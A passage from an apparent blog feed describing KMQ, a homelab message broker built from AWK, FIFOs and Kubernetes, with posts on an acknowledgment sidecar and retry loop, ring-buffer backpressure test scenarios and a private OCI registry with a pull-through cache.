&lt;li&gt;&lt;strong&gt;Unbounded log growth&lt;&#x2F;strong&gt;. Both &lt;code&gt;append.log&lt;&#x2F;code&gt; and &lt;code&gt;processed.log&lt;&#x2F;code&gt; grow forever. The CRD already has retention fields. The rotation implementation is not yet in tree.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Observability is &lt;code&gt;tail -f&lt;&#x2F;code&gt; and &lt;code&gt;wc -l&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;. Honest but limited. A small Prometheus exporter reading ring-buffer depth and ACK latency would not require pipeline changes.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;For the niche it serves, KMQ is a lab-grade broker with explicit reliability boundaries, a complete inspectable feedback loop and a transport encryption layer that does not interfere with any of the above. Each guarantee is backed by an executable scenario that exits 0 or fails loud. The series closes here. The gaps above are each their own scope.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Closing the delivery gap: an out-of-band acknowledgment sidecar and retry loop</title>
        <published>2026-05-07T00:00:00+00:00</published>
        <updated>2026-05-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/kmq-ack-sidecar-retry-loop/"/>
        <id>https://lf3.gitlab.io/blog/kmq-ack-sidecar-retry-loop/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/kmq-ack-sidecar-retry-loop/">&lt;h2 id=&quot;closing-the-delivery-gap-an-out-of-band-acknowledgment-sidecar-and-retry-loop&quot;&gt;Closing the delivery gap: an out-of-band acknowledgment sidecar and retry loop&lt;&#x2F;h2&gt;
&lt;p&gt;Earlier posts documented &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ring-buffer-backpressure-block&quot;&gt;KMQ’s four scenarios going from two failures to five passes&lt;&#x2F;a&gt; and the &lt;a href=&quot;&#x2F;blog&#x2F;private-registry-upstream-pull-through-cache&quot;&gt;local OCI registry behind them&lt;&#x2F;a&gt;. The core pipeline (FIFO, ring buffers, &lt;code&gt;append.log&lt;&#x2F;code&gt;) was proven durable and inspectable. One boundary remained. A producer could not know which messages had been safely persisted. Under a stalled consumer the sender could outrun backpressure.&lt;&#x2F;p&gt;
&lt;p&gt;This post describes the addition of an &lt;strong&gt;out-of-band acknowledgment (ACK) sidecar&lt;&#x2F;strong&gt; and a &lt;strong&gt;retry loop&lt;&#x2F;strong&gt; that turns the broker’s append log into a pull-based durability contract. The change required no modification to the hot-path containers, no PVC migration and only one new container in the existing pod. The result is a scenario that delivers 20 000 messages with zero loss even when the initial send loses some, proving that the combination of block-mode ring buffers and an on-demand ACK endpoint closes the delivery gap.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;why-an-out-of-band-ack&quot;&gt;Why an out-of-band ACK?&lt;&#x2F;h3&gt;
&lt;p&gt;Inside the pipeline, backpressure is enforced by kernel FIFO and ring-buffer blocking. At the TCP boundary, however, the producer can push data faster than the ingress propagates that backpressure, resulting in message loss. This is a documented trade-off of the previous iteration. Adding a per-message acknowledgment inside the hot path would violate the “pure AWK, no shell” contract and increase latency. A separate query endpoint that reads the append log on demand gives the producer the information it needs to decide when to retry, without touching the pipeline.&lt;&#x2F;p&gt;
&lt;p&gt;This approach follows the &lt;strong&gt;inspectability principle&lt;&#x2F;strong&gt; of KMQ: every durable message is a line in &lt;code&gt;append.log&lt;&#x2F;code&gt; and its existence can be checked with standard tools. The ACK sidecar automates that check over a TCP socket.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;the-ack-egress-sidecar&quot;&gt;The ack-egress sidecar&lt;&#x2F;h3&gt;
&lt;p&gt;A new container, &lt;code&gt;ack-egress&lt;&#x2F;code&gt;, is added to the broker pod. It runs &lt;code&gt;socat&lt;&#x2F;code&gt; listening on port 5675, forking a single-shot &lt;code&gt;gawk&lt;&#x2F;code&gt; process per connection. The AWK script accepts the keyword &lt;code&gt;GET_ACK&lt;&#x2F;code&gt; and responds with &lt;code&gt;ACK &amp;lt;seq&amp;gt;&lt;&#x2F;code&gt;, where &lt;code&gt;&amp;lt;seq&amp;gt;&lt;&#x2F;code&gt; is the last sequence number found in &lt;code&gt;append.log&lt;&#x2F;code&gt;. The script uses only built-in &lt;code&gt;getline&lt;&#x2F;code&gt; and string functions. No &lt;code&gt;system()&lt;&#x2F;code&gt;. No external binaries.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;# ack-egress.awk - KMQ out-of-band ACK query endpoint.
BEGIN {
    LOG = ENVIRON[&amp;quot;APPEND_LOG&amp;quot;]
}
{
    if ($1 == &amp;quot;GET_ACK&amp;quot;) {
        last_seq = 0
        while ((getline line &amp;lt; LOG) &amp;gt; 0) {
            split(line, f, &amp;quot;|&amp;quot;)
            last_seq = f[1]
        }
        close(LOG)
        print &amp;quot;ACK &amp;quot; last_seq
        fflush()
    }
    exit   # one request per connection
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The sidecar mounts the same PVC as the broker, read-only. It is stateless and consumes negligible resources (under 10 MiB RSS). A dedicated &lt;code&gt;NetworkPolicy&lt;&#x2F;code&gt; allows ingress on port 5675 within the cluster. A new port on the &lt;code&gt;broker-svc&lt;&#x2F;code&gt; Service makes the endpoint reachable by DNS name.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;retry-logic&quot;&gt;Retry logic&lt;&#x2F;h3&gt;
&lt;p&gt;With the ACK endpoint in place, a producer can implement a simple retry loop:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Send a batch of messages (e.g. 5 000 lines).&lt;&#x2F;li&gt;
&lt;li&gt;Query the ACK endpoint to obtain the current durable sequence number.&lt;&#x2F;li&gt;
&lt;li&gt;If the number of delivered messages is less than the number sent, resend the missing sequences starting from &lt;code&gt;last_ack + 1&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Repeat until the ACK confirms all messages are durable.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;This loop turns the unreliable TCP boundary into an &lt;strong&gt;application-level at-least-once guarantee&lt;&#x2F;strong&gt;. The producer may send duplicate messages but the broker’s framer assigns a unique sequence number to each line. The gap-check tool verifies that the final log contains a contiguous, duplicate-free sequence.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;producer                                broker pod
   |   1. send messages                    |
   |---------- TCP 5673 -----------------&amp;gt; | internal-ingress
   |                                       |    |
   |                                       |    v
   |                                       | (pipeline: FIFO,
   |                                       |  ring buffers,
   |                                       |  framer, durability,
   |                                       |  router)
   |                                       |    |
   |                                       |    v
   |                                       | append.log (PVC)
   |                                       |    ^
   |                                       |    | reads only
   |   2. GET_ACK                          |    |
   |---------- TCP 5675 -----------------&amp;gt; | ack-egress (sidecar)
   |                                       |
   |   3. ACK &amp;lt;last_seq&amp;gt;                   |
   |&amp;lt;--------------------------------------|
   |                                       |
   | 4. resend from last_ack+1 if needed   |
   | (loop until ACK == sent count)        |
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;the-ack-retry-scenario&quot;&gt;The ack-retry scenario&lt;&#x2F;h3&gt;
&lt;p&gt;A new scenario script, &lt;code&gt;scenario-ack-retry.sh&lt;&#x2F;code&gt;, demonstrates the loop. It starts from a clean broker pod, queries the baseline ACK and then sends 20 000 messages in chunks of 5 000. After each chunk the ACK is checked. As seen in earlier backpressure tests, the first chunk may not deliver all 5 000 messages. The ACK reveals the shortfall immediately.&lt;&#x2F;p&gt;
&lt;p&gt;Excerpt from a typical run (with a log that already contained older data; the script uses a delta from the starting sequence):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ts=... step=send action=send_chunk seq=95771 count=5000 missing=20000
ts=... step=ack_check ack_seq=98270 delivered=2500 target=20000
ts=... step=retry action=continue
ts=... step=send action=send_chunk seq=98271 count=5000 missing=17500
ts=... step=ack_check ack_seq=102555 delivered=6785 target=20000
...
ts=... step=complete action=all_delivered
ts=... step=result outcome=PASS delivered=21100 total_sent=20000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The final gap check reports a contiguous sequence with zero gaps, confirming that every message eventually reached the append log.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;relationship-to-the-transactional-outbox-pattern&quot;&gt;Relationship to the transactional outbox pattern&lt;&#x2F;h3&gt;
&lt;p&gt;The &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;microservices.io&#x2F;patterns&#x2F;data&#x2F;transactional-outbox.html&quot;&gt;transactional outbox pattern&lt;&#x2F;a&gt; solves the problem of atomically updating a database and publishing a message. A message relay reads an outbox table and sends the messages to a broker. KMQ does &lt;strong&gt;not&lt;&#x2F;strong&gt; implement that pattern because the broker’s write-ahead log &lt;strong&gt;is&lt;&#x2F;strong&gt; the database. There is no separate store to synchronise. The ACK endpoint fulfills a role similar to the outbox relay. It reads the durable store and provides a status signal. The difference is that it is &lt;strong&gt;pull-based&lt;&#x2F;strong&gt; rather than push-based. The producer polls the ACK, decides whether to retry and retains control over delivery semantics. This design keeps the broker minimal and leaves policy decisions to the client.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;surgical-change-no-disruption&quot;&gt;Surgical change, no disruption&lt;&#x2F;h3&gt;
&lt;p&gt;Adding the ACK sidecar required only:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A new container definition in the broker Deployment manifest.&lt;&#x2F;li&gt;
&lt;li&gt;An additional port in the Service and a NetworkPolicy rule.&lt;&#x2F;li&gt;
&lt;li&gt;Rebuilding the broker image with the &lt;code&gt;ack-egress.awk&lt;&#x2F;code&gt; file included (the same image is used for all broker containers).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;No hot-path pipelines were modified. The existing scenarios (resume, routing, backpressure measurement, dead-letter replay) continue to pass unchanged. This shows the &lt;strong&gt;operational lightness&lt;&#x2F;strong&gt; of the architecture. New capabilities can be grafted onto the pod without disrupting the running system and without complex rollout procedures. Future additions (e.g. TLS on the ACK port or a push-based ack via a response FIFO) can follow the same pattern.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-comes-next&quot;&gt;What comes next&lt;&#x2F;h3&gt;
&lt;p&gt;With the ACK endpoint operational, the broker has an inspectable reliability contract for the laboratory niche it serves. Next steps under consideration include:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mutual TLS&lt;&#x2F;strong&gt; on the internal-ingress and ack ports, using a self-signed certificate generated by a one-time init container, to ensure only authorised producers can connect.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;A minimal producer library&lt;&#x2F;strong&gt; (AWK or shell) that wraps the retry loop, exposing a simple “send-and-confirm” interface.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Log rotation&lt;&#x2F;strong&gt; for &lt;code&gt;append.log&lt;&#x2F;code&gt;, driven by the CRD’s retention policy, to bound disk usage over long-running experiments.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;KMQ remains a single-pod, single-node broker built from Unix primitives. Its reliability guarantees are now explicit, measurable and under the control of the operator.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>KMQ: four scenarios, four passes and the block policy that closes the gap</title>
        <published>2026-05-06T00:00:00+00:00</published>
        <updated>2026-05-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/kmq-ring-buffer-backpressure-block/"/>
        <id>https://lf3.gitlab.io/blog/kmq-ring-buffer-backpressure-block/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/kmq-ring-buffer-backpressure-block/">&lt;h2 id=&quot;kmq-four-scenarios-four-passes-and-the-block-policy-that-closes-the-gap&quot;&gt;KMQ: four scenarios, four passes and the block policy that closes the gap&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;blog&#x2F;kmq-broker-from-primitives&quot;&gt;Post 01&lt;&#x2F;a&gt; documented four scenarios against KMQ, a homelab message broker built from FIFOs, AWK and Kubernetes. Two passed. Two failed. The failures traced the boundary where TCP ingress does not propagate backpressure and where a pod restart opens a window that drops messages. A separate aside covers the &lt;a href=&quot;&#x2F;blog&#x2F;private-registry-upstream-pull-through-cache&quot;&gt;private OCI registry and pull-through cache&lt;&#x2F;a&gt; that supports the cluster.&lt;&#x2F;p&gt;
&lt;p&gt;This post documents the next iteration. The topology is simpler. The ring-buffer overflow policy is explicit. All four scenarios pass, and a fifth scenario, zero-loss backpressure with a blocked consumer, passes as well.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;simpler-topology-direct-path&quot;&gt;Simpler topology, direct path&lt;&#x2F;h3&gt;
&lt;p&gt;The original architecture placed a NodePort, an ingress proxy and a ClusterIP service between the producer and the broker. That layering made the boundary issues visible, but it also masked the core pipeline’s behaviour. For the updated tests, the producer connects directly to the broker’s internal-ingress port inside the cluster, using the pod IP obtained from &lt;code&gt;kubectl&lt;&#x2F;code&gt;. No NodePort, no ingress Deployment, no firewall rules. The path is a single TCP connection to the broker pod on port 5673.&lt;&#x2F;p&gt;
&lt;p&gt;The broker pod itself runs four containers: internal-ingress, framer, durability and router. They communicate through one named FIFO (&lt;code&gt;&#x2F;pipes&#x2F;raw&lt;&#x2F;code&gt;) and two ring buffers in &lt;code&gt;&#x2F;dev&#x2F;shm&lt;&#x2F;code&gt;. The only persistent state is &lt;code&gt;append.log&lt;&#x2F;code&gt; and the per-queue log files, stored on a hostPath volume bound to a PVC provisioned by &lt;code&gt;local-path&lt;&#x2F;code&gt; on the worker node.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;producer (any host with socat)
    |
    |  TCP to broker pod port 5673
    v
+================================================+
| broker Pod                                     |
|                                                |
|  internal-ingress    socat + gawk              |
|        |                                       |
|        v   FIFO &amp;#x2F;pipes&amp;#x2F;raw                     |
|  framer.awk          seq + ts                  |
|                      resumes from append.log   |
|        |                                       |
|        v   &amp;#x2F;dev&amp;#x2F;shm&amp;#x2F;kmq&amp;#x2F;framed                 |
|            ring buffer 8k slots, block policy  |
|        |                                       |
|        v                                       |
|  durability.awk      forwards downstream       |
|        |   |                                   |
|        |   +-----&amp;gt; append.log on PVC (WAL)     |
|        |                                       |
|        v   &amp;#x2F;dev&amp;#x2F;shm&amp;#x2F;kmq&amp;#x2F;durable                |
|            ring buffer 8k slots, block policy  |
|        |                                       |
|        v                                       |
|  router.awk          prefix match              |
|        |                                       |
|        v                                       |
|  PVC &amp;#x2F;opt&amp;#x2F;kmq&amp;#x2F;logs:                            |
|     test.log                                   |
|     jobs.log                                   |
|     random.log                                 |
|     bar.log                                    |
|     dead.log                                   |
|     append.log                                 |
+================================================+
    |
    |  TCP from egress pods or direct read
    v
consumer or inspection
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;ring-buffer-policy-block-vs-drop-oldest&quot;&gt;Ring-buffer policy: block vs drop_oldest&lt;&#x2F;h3&gt;
&lt;p&gt;The ring-buffer library (&lt;code&gt;rb.awk&lt;&#x2F;code&gt;) now exposes a policy switch through the environment variable &lt;code&gt;RB_OVERFLOW_POLICY&lt;&#x2F;code&gt;. When set to &lt;code&gt;drop_oldest&lt;&#x2F;code&gt;, a full buffer advances the tail pointer, discarding the oldest message. When unset or set to &lt;code&gt;block&lt;&#x2F;code&gt;, the writer enters a busy-wait loop, calling &lt;code&gt;sleep&lt;&#x2F;code&gt; for the value of &lt;code&gt;SLEEP_SHORT&lt;&#x2F;code&gt; (0.001 seconds) until a slot opens.&lt;&#x2F;p&gt;
&lt;p&gt;The relevant AWK logic inside &lt;code&gt;rb_write&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;while (1) {
    head      = rb_cursor_read(hfile)
    tail      = rb_cursor_read(tfile)
    next_head = (head + 1) % size
    if (next_head != tail) break

    if (ENVIRON[&amp;quot;RB_OVERFLOW_POLICY&amp;quot;] == &amp;quot;drop_oldest&amp;quot;) {
        tail = (tail + 1) % size
        print tail &amp;gt; tfile
        fflush(tfile)
        close(tfile)
        break
    }
    system(&amp;quot;sleep &amp;quot; ENVIRON[&amp;quot;SLEEP_SHORT&amp;quot;])
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;drop_oldest&lt;&#x2F;code&gt; policy gives maximum throughput but loses messages when a downstream stage stalls. The &lt;code&gt;block&lt;&#x2F;code&gt; policy propagates backpressure: the writer sleeps, the FIFO upstream fills, the TCP sender blocks and no messages are lost.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;scenario-1-sequence-resume-across-broker-restart&quot;&gt;Scenario 1: sequence resume across broker restart&lt;&#x2F;h3&gt;
&lt;p&gt;Pattern: write-ahead log recovery, Kafka offset replay.&lt;&#x2F;p&gt;
&lt;p&gt;Test: send 500 messages. Kill the broker pod. Wait for a replacement. Send another 500. Verify that the sequence in &lt;code&gt;append.log&lt;&#x2F;code&gt; is contiguous and that the framer logs &lt;code&gt;seq_resume=500&lt;&#x2F;code&gt; on startup.&lt;&#x2F;p&gt;
&lt;p&gt;Result: pass. The new framer reads the existing &lt;code&gt;append.log&lt;&#x2F;code&gt;, finds the last sequence number and resumes from 501. The five-record transition window shows the payload changing from &lt;code&gt;batch1&lt;&#x2F;code&gt; to &lt;code&gt;batch2&lt;&#x2F;code&gt; with no gap.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;499|...|test.probe|...|499|batch1
500|...|test.probe|...|500|batch1
501|...|test.probe|...|1|batch2
502|...|test.probe|...|2|batch2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;scenario-2-routing-and-dead-letter-cardinality&quot;&gt;Scenario 2: routing and dead-letter cardinality&lt;&#x2F;h3&gt;
&lt;p&gt;Pattern: exchange-to-queue binding, AMQP routing.&lt;&#x2F;p&gt;
&lt;p&gt;Test: send 100 messages with five routing-key prefixes (&lt;code&gt;test.probe&lt;&#x2F;code&gt;, &lt;code&gt;jobs.process.*&lt;&#x2F;code&gt;, &lt;code&gt;jobs.notify.*&lt;&#x2F;code&gt;, &lt;code&gt;random.unknown_*&lt;&#x2F;code&gt;, &lt;code&gt;bar.baz_*&lt;&#x2F;code&gt;). Verify counts in each destination file.&lt;&#x2F;p&gt;
&lt;p&gt;Result: pass. &lt;code&gt;test.log&lt;&#x2F;code&gt; receives 40 messages, &lt;code&gt;jobs.log&lt;&#x2F;code&gt; 40, &lt;code&gt;random.log&lt;&#x2F;code&gt; 10, &lt;code&gt;bar.log&lt;&#x2F;code&gt; 10. No dead-letter file because the router creates one file per prefix and every key matches a prefix. The routing logic is a five-line &lt;code&gt;if&#x2F;else if&lt;&#x2F;code&gt; chain in &lt;code&gt;router.awk&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;scenario-3-backpressure-boundary-measurement-drop-oldest&quot;&gt;Scenario 3: backpressure boundary measurement (drop_oldest)&lt;&#x2F;h3&gt;
&lt;p&gt;Pattern: kernel-enforced flow control.&lt;&#x2F;p&gt;
&lt;p&gt;Test: pause the router (&lt;code&gt;kill -STOP&lt;&#x2F;code&gt;). Send 20 000 messages with &lt;code&gt;drop_oldest&lt;&#x2F;code&gt; policy. Measure how many survive.&lt;&#x2F;p&gt;
&lt;p&gt;Result: measured, not pass&#x2F;fail. With &lt;code&gt;drop_oldest&lt;&#x2F;code&gt;, about 54 percent of messages are lost when the consumer is stalled. The sender does not block. The ring buffer fills and the oldest messages are discarded. This confirms the boundary where backpressure stops: the TCP ingress does not propagate the ring-buffer block back to the client.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;scenario-3-block-zero-loss-backpressure-block-policy&quot;&gt;Scenario 3-block: zero-loss backpressure (block policy)&lt;&#x2F;h3&gt;
&lt;p&gt;Test: same as Scenario 3, but with &lt;code&gt;RB_OVERFLOW_POLICY&lt;&#x2F;code&gt; unset (defaulting to &lt;code&gt;block&lt;&#x2F;code&gt;). Burst size 10 000 messages.&lt;&#x2F;p&gt;
&lt;p&gt;Result: pass. The sender blocks after the ring buffer fills. After the router resumes, all 10 000 messages drain to &lt;code&gt;append.log&lt;&#x2F;code&gt;. Zero loss. The protocol-level acknowledgement loop is absent, but the kernel-level blocking at the FIFO and the busy-wait in the ring-buffer writer together prevent any message from being dropped during the pipeline stall.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;scenario-4-dead-letter-queue-replay&quot;&gt;Scenario 4: dead-letter queue replay&lt;&#x2F;h3&gt;
&lt;p&gt;Pattern: SQS DLQ redrive, poison message recovery.&lt;&#x2F;p&gt;
&lt;p&gt;Test: send 70 known-key messages and 30 with a &lt;code&gt;dead.letter_*&lt;&#x2F;code&gt; prefix. Verify routing. Capture the last 30 lines of &lt;code&gt;dead.log&lt;&#x2F;code&gt; (the newly arrived dead letters), rewrite the routing keys to &lt;code&gt;test.recovered_*&lt;&#x2F;code&gt; and reinject through the direct broker connection. Verify that &lt;code&gt;test.log&lt;&#x2F;code&gt; grew by 100 (70 original + 30 recovered) and that &lt;code&gt;dead.log&lt;&#x2F;code&gt; is untouched (audit trail preserved).&lt;&#x2F;p&gt;
&lt;p&gt;Result: pass. The delta-based measurement avoids interference from previous runs. The awk one-liner that rewrites the keys:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;awk&quot; class=&quot;language-awk &quot;&gt;&lt;code class=&quot;language-awk&quot; data-lang=&quot;awk&quot;&gt;awk -F&amp;#x27;|&amp;#x27; &amp;#x27;{ n=$3; sub(&amp;#x2F;^dead\.letter_&amp;#x2F;,&amp;quot;&amp;quot;,n); print &amp;quot;test.recovered_&amp;quot; n &amp;quot;|&amp;quot; now &amp;quot;|&amp;quot; n &amp;quot;|recovered&amp;quot; }&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This recovery operation reads the dead-letter file, maps each record to a new routing key and pushes it back through the broker. The original dead-letter file stays unchanged on disk, serving as an immutable audit trail.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;throughput-on-modest-hardware&quot;&gt;Throughput on modest hardware&lt;&#x2F;h3&gt;
&lt;p&gt;The worker node is an Intel N97 mini PC: four Alder Lake efficiency cores at 1.5 GHz, 16 GB RAM, consumer-grade NVMe storage.&lt;&#x2F;p&gt;
&lt;p&gt;Throughput measured via &lt;code&gt;throughput-test.sh&lt;&#x2F;code&gt;, sending directly to the broker pod and polling &lt;code&gt;test.log&lt;&#x2F;code&gt; for completion:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1 000 messages: send + flush in ~1 ms, ~1 M msg&#x2F;s&lt;&#x2F;li&gt;
&lt;li&gt;10 000 messages: send + flush in ~6 ms, ~1.4 M msg&#x2F;s&lt;&#x2F;li&gt;
&lt;li&gt;50 000 messages: send in 30 ms, flush in 30 ms, ~1.7 M msg&#x2F;s&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;These are burst numbers. The sustained rate under continuous load would be lower. The measurement counts the time from the first message sent until the last message appears in &lt;code&gt;test.log&lt;&#x2F;code&gt;, which includes the full pipeline traversal: TCP receive, FIFO, framing, durability write to &lt;code&gt;append.log&lt;&#x2F;code&gt;, durable ring buffer, router write to queue file. No message reordering occurs. &lt;code&gt;check-gap.awk&lt;&#x2F;code&gt; reports zero gaps in every run.&lt;&#x2F;p&gt;
&lt;p&gt;The entire broker runs as four &lt;code&gt;gawk&lt;&#x2F;code&gt; processes inside a single Kubernetes pod. Total resident memory during a 10 k burst stays under 10 MB. The only writes to disk are the sequential appends to &lt;code&gt;append.log&lt;&#x2F;code&gt; and the queue files. No compaction, no indexing, no background threads.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;what-changed-structurally&quot;&gt;What changed, structurally&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;The test harness now connects directly to the broker pod IP, removing the ingress layer and its associated TCP-boundary artifacts.&lt;&#x2F;li&gt;
&lt;li&gt;The ring-buffer overflow policy is explicit and switchable via an environment variable, allowing the same binary to demonstrate both lossy high-throughput and lossless blocked behaviour.&lt;&#x2F;li&gt;
&lt;li&gt;The dead-letter replay scenario uses a delta-count approach that is idempotent across multiple runs, making the tests repeatable without manual cleanup.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;KMQ remains a single-binary, single-pod broker with no external dependencies. Every message in the system is a line in a file. Every file is readable with &lt;code&gt;cat&lt;&#x2F;code&gt;, &lt;code&gt;tail&lt;&#x2F;code&gt; and &lt;code&gt;awk&lt;&#x2F;code&gt;. Every scenario is a shell script that produces log-fmt output and an exit code.&lt;&#x2F;p&gt;
&lt;p&gt;This round of scenarios moves the project from “two passes, two failures” to “five passes”. The passes do not come from a new protocol or a rewrite. They come from a simpler test path that exercises the core pipeline directly and from a single &lt;code&gt;if&lt;&#x2F;code&gt; statement that decides whether a full buffer advances the tail pointer or sleeps for a millisecond.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>A private OCI registry and an upstream pull‑through cache</title>
        <published>2026-05-05T00:00:00+00:00</published>
        <updated>2026-05-05T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://lf3.gitlab.io/blog/private-registry-upstream-pull-through-cache/"/>
        <id>https://lf3.gitlab.io/blog/private-registry-upstream-pull-through-cache/</id>
        
        <content type="html" xml:base="https://lf3.gitlab.io/blog/private-registry-upstream-pull-through-cache/">&lt;p&gt;Second in a series on the KMQ message broker and its substrate. The first post &lt;a href=&quot;&#x2F;blog&#x2F;kmq-broker-from-primitives&quot;&gt;describes KMQ, a broker built from FIFOs and awk&lt;&#x2F;a&gt;.
Next &lt;a href=&quot;&#x2F;blog&#x2F;kmq-ring-buffer-backpressure-block&quot;&gt;four scenarios, four passes, and the block policy that closes the gap&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-private-oci-registry-and-a-pull-through-cache&quot;&gt;A private OCI registry and a pull‑through cache&lt;&#x2F;h2&gt;
&lt;p&gt;Pulling a container image is an operation that almost never gets inspected. The tooling is good. CI is fast. The cluster is happy. Most days, that is enough. Most days is not all days.&lt;&#x2F;p&gt;
&lt;p&gt;A registry is a system that answers questions about artifacts: do you have this digest, give me this manifest, give me these blobs. The protocol is small and well specified. The implementations are mostly fine. What changes between deployments is the topology, not the protocol. Where does the artifact live, who is allowed to see it, who is allowed to write it, at which moment in time can it be said that this digest is the one to trust.&lt;&#x2F;p&gt;
&lt;p&gt;Two answering systems got set up. One private, behind a segment with no internet egress. One public, sitting in front of three external registries, caching on the way. The two answers belong to different questions and the architecture has to keep them separate.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;two-registries&quot;&gt;Two registries&lt;&#x2F;h3&gt;
&lt;p&gt;A private registry holds artifacts produced internally or kept deliberately. The trust model is internal: a known author signed the manifest, a known operator controls the storage, a known chain of custody exists.&lt;&#x2F;p&gt;
&lt;p&gt;A pull-through cache does not produce, it intermediates. Trust still belongs to the upstream. What the cache adds is locality, latency reduction, bandwidth amortization and a local copy of what was seen the last time the question was asked.&lt;&#x2F;p&gt;
&lt;p&gt;The two systems share the OCI distribution API on the wire. The two systems do not share semantics.&lt;&#x2F;p&gt;
&lt;p&gt;Both, on different machines, with traffic crossing a router that segments two VLANs. The private registry on a small bare-metal server inside the inner segment. The pull-through cache on the router itself, which is the only host with internet egress.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-constraint-that-decided-the-shape&quot;&gt;The constraint that decided the shape&lt;&#x2F;h3&gt;
&lt;p&gt;The router runs OpenWrt on aarch64. A previous attempt to run a Go-based registry directly on the router failed. The binary started, opened a socket, never accepted a connection. Nothing in the logs. The behavior reproduced with two different Go-based registry servers. After enough time, silence becomes a signal.&lt;&#x2F;p&gt;
&lt;p&gt;That decided the split. The Go program goes inside, on a host with a normal kernel. The router runs C, which is fine on this hardware. nginx in front of three OCI upstreams is a job that fits a pull-through cache cleanly.&lt;&#x2F;p&gt;
&lt;p&gt;A constraint upstream of the design is a gift. It removes one branch of the search tree.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-private-registry&quot;&gt;The private registry&lt;&#x2F;h3&gt;
&lt;p&gt;The private side runs zot, a single-binary registry in Go that ships an OCI-conformant minimal build with no extensions. Distroless is not relevant on this host. The registry runs as a system service, supervised by the init system, with logs routed through the same syslog as everything else. The minimal build has no UI, no search, no Trivy database, no metrics server. It speaks the distribution protocol.&lt;&#x2F;p&gt;
